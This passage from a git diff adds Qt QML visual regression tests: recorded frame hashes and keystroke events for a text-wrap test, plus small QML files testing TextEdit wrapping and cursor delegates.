"e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 69 + modifiers: 0 + text: "65" + autorep: false + count: 1 + } + Frame { + msec: 2560 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2576 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2592 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2608 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2624 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2640 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 68 + modifiers: 0 + text: "64" + autorep: false + count: 1 + } + Frame { + msec: 2656 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2672 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2688 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2704 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 68 + modifiers: 0 + text: "64" + autorep: false + count: 1 + } + Frame { + msec: 2720 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2736 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2752 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 73 + modifiers: 0 + text: "69" + autorep: false + count: 1 + } + Frame { + msec: 2768 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2784 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2800 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2816 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2832 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 84 + modifiers: 0 + text: "74" + autorep: false + count: 1 + } + Key { + type: 7 + key: 73 + modifiers: 0 + text: "69" + autorep: false + count: 1 + } + Frame { + msec: 2848 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2864 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2880 + image: "wrap.2.png" + } + Frame { + msec: 2896 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 32 + modifiers: 0 + text: "20" + autorep: false + count: 1 + } + Frame { + msec: 2912 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2928 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 84 + modifiers: 0 + text: "74" + autorep: false + count: 1 + } + Frame { + msec: 2944 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2960 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 32 + modifiers: 0 + text: "20" + autorep: false + count: 1 + } + Frame { + msec: 2976 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2992 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3008 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3024 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3040 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3056 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3072 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3088 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 87 + modifiers: 0 + text: "77" + autorep: false + count: 1 + } + Frame { + msec: 3104 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3120 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3136 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3152 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3168 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 87 + modifiers: 0 + text: "77" + autorep: false + count: 1 + } + Frame { + msec: 3184 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3200 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3216 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3232 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3248 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 82 + modifiers: 0 + text: "72" + autorep: false + count: 1 + } + Frame { + msec: 3264 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3280 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3296 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 82 + modifiers: 0 + text: "72" + autorep: false + count: 1 + } + Frame { + msec: 3312 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3328 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3344 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 65 + modifiers: 0 + text: "61" + autorep: false + count: 1 + } + Frame { + msec: 3360 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3376 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3392 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3408 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3424 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 65 + modifiers: 0 + text: "61" + autorep: false + count: 1 + } + Frame { + msec: 3440 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3456 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3472 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 80 + modifiers: 0 + text: "70" + autorep: false + count: 1 + } + Frame { + msec: 3488 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3504 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3520 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3536 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 80 + modifiers: 0 + text: "70" + autorep: false + count: 1 + } + Frame { + msec: 3552 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3568 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 83 + modifiers: 0 + text: "73" + autorep: false + count: 1 + } + Frame { + msec: 3584 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3600 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3616 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3632 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3648 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3664 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 32 + modifiers: 0 + text: "20" + autorep: false + count: 1 + } + Frame { + msec: 3680 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 83 + modifiers: 0 + text: "73" + autorep: false + count: 1 + } + Frame { + msec: 3696 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3712 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3728 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3744 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3760 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 32 + modifiers: 0 + text: "20" + autorep: false + count: 1 + } + Frame { + msec: 3776 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3792 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3808 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3824 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3840 + image: "wrap.3.png" + } + Frame { + msec: 3856 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3872 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3888 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3904 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 67 + modifiers: 0 + text: "63" + autorep: false + count: 1 + } + Frame { + msec: 3920 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3936 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3952 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3968 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3984 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 67 + modifiers: 0 + text: "63" + autorep: false + count: 1 + } + Frame { + msec: 4000 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4016 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 79 + modifiers: 0 + text: "6f" + autorep: false + count: 1 + } + Frame { + msec: 4032 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4048 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4064 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 79 + modifiers: 0 + text: "6f" + autorep: false + count: 1 + } + Frame { + msec: 4080 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 82 + modifiers: 0 + text: "72" + autorep: false + count: 1 + } + Frame { + msec: 4096 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4112 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4128 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4144 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 82 + modifiers: 0 + text: "72" + autorep: false + count: 1 + } + Frame { + msec: 4160 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4176 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4192 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 82 + modifiers: 0 + text: "72" + autorep: false + count: 1 + } + Frame { + msec: 4208 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4224 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4240 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4256 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4272 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 69 + modifiers: 0 + text: "65" + autorep: false + count: 1 + } + Frame { + msec: 4288 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 82 + modifiers: 0 + text: "72" + autorep: false + count: 1 + } + Frame { + msec: 4304 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4320 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4336 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 69 + modifiers: 0 + text: "65" + autorep: false + count: 1 + } + Frame { + msec: 4352 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4368 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4384 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4400 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4416 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 67 + modifiers: 0 + text: "63" + autorep: false + count: 1 + } + Frame { + msec: 4432 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4448 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4464 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 67 + modifiers: 0 + text: "63" + autorep: false + count: 1 + } + Frame { + msec: 4480 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4496 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4512 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4528 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4544 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 84 + modifiers: 0 + text: "74" + autorep: false + count: 1 + } + Frame { + msec: 4560 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4576 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4592 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4608 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 84 + modifiers: 0 + text: "74" + autorep: false + count: 1 + } + Frame { + msec: 4624 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4640 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4656 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4672 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 76 + modifiers: 0 + text: "6c" + autorep: false + count: 1 + } + Frame { + msec: 4688 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4704 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4720 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4736 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 76 + modifiers: 0 + text: "6c" + autorep: false + count: 1 + } + Frame { + msec: 4752 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4768 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4784 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 89 + modifiers: 0 + text: "79" + autorep: false + count: 1 + } + Frame { + msec: 4800 + image: "wrap.4.png" + } + Frame { + msec: 4816 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 89 + modifiers: 0 + text: "79" + autorep: false + count: 1 + } + Frame { + msec: 4832 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4848 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4864 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4880 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 46 + modifiers: 0 + text: "2e" + autorep: false + count: 1 + } + Frame { + msec: 4896 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4912 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4928 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4944 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 46 + modifiers: 0 + text: "2e" + autorep: false + count: 1 + } + Frame { + msec: 4960 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4976 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4992 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5008 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5024 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5040 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5056 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5072 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5088 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5104 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5120 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5136 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5152 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5168 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5184 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5200 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5216 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5232 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5248 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5264 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5280 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5296 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5312 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5328 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5344 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5360 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5376 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5392 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5408 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5424 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5440 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5456 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5472 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5488 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5504 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5520 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5536 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5552 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5568 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5584 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5600 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5616 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5632 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5648 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5664 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5680 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5696 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5712 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5728 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5744 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5760 + image: "wrap.5.png" + } + Frame { + msec: 5776 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5792 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5808 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5824 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5840 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5856 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5872 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5888 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5904 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5920 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5936 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5952 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5968 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5984 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6000 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6016 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6032 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6048 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6064 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6080 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6096 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6112 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6128 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6144 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6160 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6176 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6192 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6208 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6224 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6240 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6256 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6272 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6288 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6304 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6320 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6336 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6352 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6368 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6384 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6400 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6416 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6432 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6448 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6464 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6480 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6496 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6512 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6528 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6544 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6560 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6576 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6592 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6608 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6624 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6640 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6656 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6672 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6688 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6704 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6720 + image: "wrap.6.png" + } + Frame { + msec: 6736 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6752 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6768 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6784 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6800 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6816 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6832 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6848 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6864 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/qt-669.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/qt-669.qml new file mode 100644 index 0000000..b01ddf8 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/qt-669.qml @@ -0,0 +1,19 @@ +import Qt 4.6 + +Rectangle { + Component { id: testableCursor + //Doesn't blink + Rectangle { + color:"black" + width:1 + } + } + color: "green" + width:400; + height:40; + TextEdit { + focus: true; + cursorDelegate: testableCursor + text: "Jackdaws love my big sphinx of Quartz" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/wrap.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/wrap.qml new file mode 100644 index 0000000..f9fe025 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/wrap.qml @@ -0,0 +1,21 @@ +import Qt 4.6 + +Item { + height:400 + width: 200 + TextEdit { + width: 200 + height: 200 + wrap: true + focus: true + } + //With QTBUG-6273 only the bottom one would be wrapped + TextEdit { + width: 200 + height: 200 + wrap: true + text: "This is a test that text edit wraps correctly." + y:200 + } + +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/cursorDelegate.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/cursorDelegate.qml new file mode 100644 index 0000000..09f16ab --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/cursorDelegate.qml @@ -0,0 +1,35 @@ +import Qt 4.6 + Rectangle { + resources: [ + Component { id: cursorA + Item { id: cPage; + Behavior on x { NumberAnimation { } } + Behavior on y { NumberAnimation { } } + Behavior on height { NumberAnimation { duration: 200 } } + Rectangle { id: cRectangle; color: "black"; y: 1; width: 1; height: parent.height-2; + Rectangle { id:top; color: "black"; width: 3; height: 1; x: -1; y:0} + Rectangle { id:bottom; color: "black"; width: 3; height: 1; x: -1; anchors.bottom: parent.bottom;} + opacity: 1 + SequentialAnimation on opacity { running: cPage.parent.focus == true; loops: Animation.Infinite; + NumberAnimation { properties: "opacity"; to: 1; duration: 